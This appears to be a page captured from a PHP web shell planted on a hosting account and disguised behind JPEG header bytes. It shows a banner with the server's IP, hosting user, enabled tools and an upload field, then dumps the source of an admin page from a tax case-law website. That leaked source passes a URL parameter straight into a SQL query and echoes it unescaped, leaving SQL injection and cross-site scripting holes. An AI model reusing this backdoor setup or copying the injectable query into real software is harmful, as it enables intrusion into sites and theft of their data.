ÿØÿà JPEG ÿþ;
| Server IP : 68.65.120.201 / Your IP : 216.73.216.221 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/root/proc/thread-self/root/home/././././taxhyuvu/public_html/admin/ |
Upload File : |
<?php
$Tax = $_GET['tax'];
include "db.php";
$p2="SELECT * FROM `cases` WHERE `Catag` = '$Tax' ORDER BY `ID` Desc;
";
$power = mysqli_query($con,$p2);
?>
<?php
Session_start();
if(isset($_SESSION['adminlogedin']) && $_SESSION['adminlogedin']==true) {
$email= $_SESSION['Email_Address03092372779'];
$user= $_SESSION['user03092372779'];
if($user == "a")
{
include("aside.php");
}
elseif($user == "e")
{
include("emoside.php");
}
else{
echo '<script>window.open("login", "_self")</script>';
}
?>
<style>
.form-control:focus {
color: #212529;
background-color: #fff;
border-color: #b7d0f5;
outline: 0;
box-shadow: 0 0 0 0.25rem rgba(79, 80, 80, 0.247);
}
.btn-primary{ background: #009bad;
border: #0a9eb0;}
.btn:hover {
color: var(--bs-btn-hover-color);
background-color: #98a0a4;
border-color: #98a0a4;
}
.head{width: 100%;height: 200px;
background-color: #ebebebf7;}
.head img{width: 300px;}
.img1st{margin: 0% 37%;
padding-top: 62px;}
td{text-align: justify;
}
th{text-align: center; color: #666666;
}
#viewpower input{ display: none;}
.card-header { background-color: rgb(243 241 255);
}
.btn {
background: #b2afc8 !important;
color: black !important;
border-color: #6e6695 !important;
font-weight: 600;
}
.btn:hover{border: 1px solid black !important;
}
.datatable-table > tbody > tr > td, .datatable-table > tbody > tr > th, .datatable-table > tfoot > tr > td, .datatable-table > tfoot > tr > th, .datatable-table > thead > tr > td, .datatable-table > thead > tr > th {
vertical-align: top;
padding: 0.5px 0.5rem;
font-size: 1rem;
font-size: 1.035rem;
font-family: math;
}
.btn {
background: #cfcde2 !important;
color: black !important;
border-color: #8b83b6 !important;
font-weight: 600;
}
.mt-4 {
font-family: math!important;
font-size: 50px !important;
margin-top: .5rem !important;
}
table.dataTable th, table.dataTable td {
box-sizing: content-box;
text-transform: capitalize;
}
td a {
color: #00327c !important;
text-decoration: none !important;
}
</style>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="description" content="You may search | Income Tax | Sales Tax | Customs | Federal excise | Sales tax On Service | case laws or important paras of judgments; Topic-wise, Court-wise, and Year-wise; as shown in the table below">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="keywords" content="Case law, Income Tax, Sales tax ,Federal excise, sales tax on services, Customs, PTD, PTCL, SLD, Taxhelpline,Topic,Citation">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Lora&display=swap" rel="stylesheet">
<title><?php echo $id ?> (Case Laws)</title>
<style>#example_filter{display: none;}</style>
</head>
<style>#yearpower, #yearpower input{width:100%;}
.powerpeti input{width: 100%;}
.table{overflow-y: hidden,}
body{overflow-y: hidden,}
th,td{width:auto !important; text-align: center;
border: 1px solid #d9d9d9; font-family: 'Yantramanav', sans-serif; font-weight: 300;}
th{ text-align: center !important; font-family: 'Yantramanav', sans-serif; font-weight: 300;}
table.dataTable {font-family: 'Yantramanav', sans-serif; font-weight: 300;
width: 100% !important;}
{font-family:none;}
h1{ padding-bottom: 1%; color: #04a3b4; padding-top: 3.5%; text-transform: capitalize; text-align:center; font-family: 'Roboto Slab', serif;}
table{font-family: 'Lora', serif;}
th input{outline: blue;
border-radius: 3px !important;
border: gray 0.5px solid!important;}
p{ text-align: justify !important ;margin-bottom: 0.5rem;font-family: 'Yantramanav', sans-serif; font-weight: 300;}
#versus{font-family: 'Yantramanav', sans-serif; font-weight: 900;}
</style>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Yantramanav&display=swap" rel="stylesheet">
<title><?php echo $Tax?> (Case Laws)</title> <div id="layoutSidenav_content">
<main>
<div class="container-fluid px-4">
<h1 class="mt-4" style=" text-transform: capitalize;"><?php echo $Tax?> "Case Laws" </h1>
<ol class="breadcrumb mb-4">
<li class="breadcrumb-item"><a href="index">Dashboard</a></li>
<li class="breadcrumb-item active" style=" text-transform: capitalize;"><?php echo $Tax?> Case Laws</li>
</ol>
<div class="card mb-4">
</div>
<div class="card mb-4">
<div class="card-header">
<a target="" href="uploadcaselaw?id=<?php echo $Tax?>"> <button class="btn btn-primary" style="float:right;">Add Case Law</button></a>
</div>
<div class="card-body">
<table id="example" class="display" style="width:100%" >
<thead>
<tr>
<th class="powerpeti">Court </th>
<th id="yearpower">Year</th>
<th class="powerpeti">Appelant <br id="versus">VS<br> Respondent</th>
<!-- <th class="powerpeti">Laws / Sections</th> -->
<th class="powerpeti">Topic</th>
<th class="powerpeti">Case Law</th>
<th class="powerpeti">PTD / Refernce</th>
<th class="powerpeti">Upload By</th>
<th id="viewpower">Update</th>
</tr>
</thead>
<tbody>
<?php foreach ($power as $k ) { ?>
<tr>
<td ><?php echo $k['Court'];?></td>
<td Style="text-align: center;"><?php echo $k['Year'];?></td>
<td class="" Style="text-align: center;" >
<?php echo $k['Vs1'];?>
<span style="font-family: 'Yantramanav', sans-serif; font-weight: 900;"> <br><B>VS</B><br></span>
<?php echo $k['Vs2'];?>
</td>
<!-- <td > <?php echo $k['Law'];?><br><?php echo $k['Sections'];?></td> -->
<td ><?php echo $k['Topic'];?></td>
<td style="text-algin:justify;"><p style="text-align:justify;"><?php $desc=$k['Para'];
$StrCut=substr($desc,0,270);
$desc =substr($StrCut,0,strrpos($StrCut,' '))."<a href='viewreport?id=$k[ID]'> Read More...</a>";
echo $desc; ?></p></td>
<td ><?php echo $k['Judgment'];?></td>
<td ><?php echo $k['Uploader'];?></td>
<!-- <td ><a href="viewreport?id=<?php echo $k['ID'];?>"><button class="btn btn-primary" style="width: 100%; height: 100%;">View</button></a></td> -->
<td><b><a target="_blank" href="updatecaselaw?id=<?php echo $k['ID'];?>"><button class="btn btn-danger">Update</button></a></b></td>
</tr>
<?php } ?>
</tbody>
</table>
</div>
</div>
</div>
</main>
<footer class="py-4 bg-light mt-auto">
<div class="container-fluid px-4">
<div class="d-flex align-items-center justify-content-between small">
<div class="text-muted">Copyright © Your Website 2023</div>
<div>
<a href="#">Privacy Policy</a>
·
<a href="#">Terms & Conditions</a>
</div>
</div>
</div>
</footer>
</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/js/bootstrap.bundle.min.js" crossorigin="anonymous"></script>
<script src="js/scripts.js"></script>
<script src="https://cdn.jsdelivr.net/npm/simple-datatables@7.1.2/dist/umd/simple-datatables.min.js" crossorigin="anonymous"></script>
<script src="js/datatables-simple-demo.js"></script>
<link rel="stylesheet" type="text/css" href="https://cdn.datatables.net/1.13.4/css/jquery.dataTables.min.css">
<script type="text/javascript" src="https://code.jquery.com/jquery-3.5.1.js"></script>
<script type="text/javascript" src="https://cdn.datatables.net/1.13.4/js/jquery.dataTables.min.js"></script>
<script type="text/javascript">
$(document).ready(function () {
// Setup - add a text input to each footer cell
$('#example thead tr')
.clone(true)
.addClass('filters')
.appendTo('#example thead');
var table = $('#example').DataTable({
orderCellsTop: true,
fixedHeader: true,
order: [[1, 'desc']],
initComplete: function () {
var api = this.api();
// For each column
api
.columns()
.eq(0)
.each(function (colIdx) {
// Set the header cell to contain the input element
var cell = $('.filters th').eq(
$(api.column(colIdx).header()).index()
);
var title = $(cell).text();
$(cell).html('<input type="text" placeholder="' + title + '" />');
// On every keypress in this input
$(
'input',
$('.filters th').eq($(api.column(colIdx).header()).index())
)
.off('keyup change')
.on('change', function (e) {
// Get the search value
$(this).attr('title', $(this).val());
var regexr = '({search})'; //$(this).parents('th').find('select').val();
var cursorPosition = this.selectionStart;
// Search the column for that value
api
.column(colIdx)
.search(
this.value != ''
? regexr.replace('{search}', '(((' + this.value + ')))')
: '',
this.value != '',
this.value == ''
)
.draw();
})
.on('keyup', function (e) {
e.stopPropagation();
$(this).trigger('change');
$(this)
.focus()[0]
.setSelectionRange(cursorPosition, cursorPosition);
});
});
},
});
});
</script>
</body>
</html>
<?php }
else{ echo '<script>window.open("login", "_self")</script>'; } ?>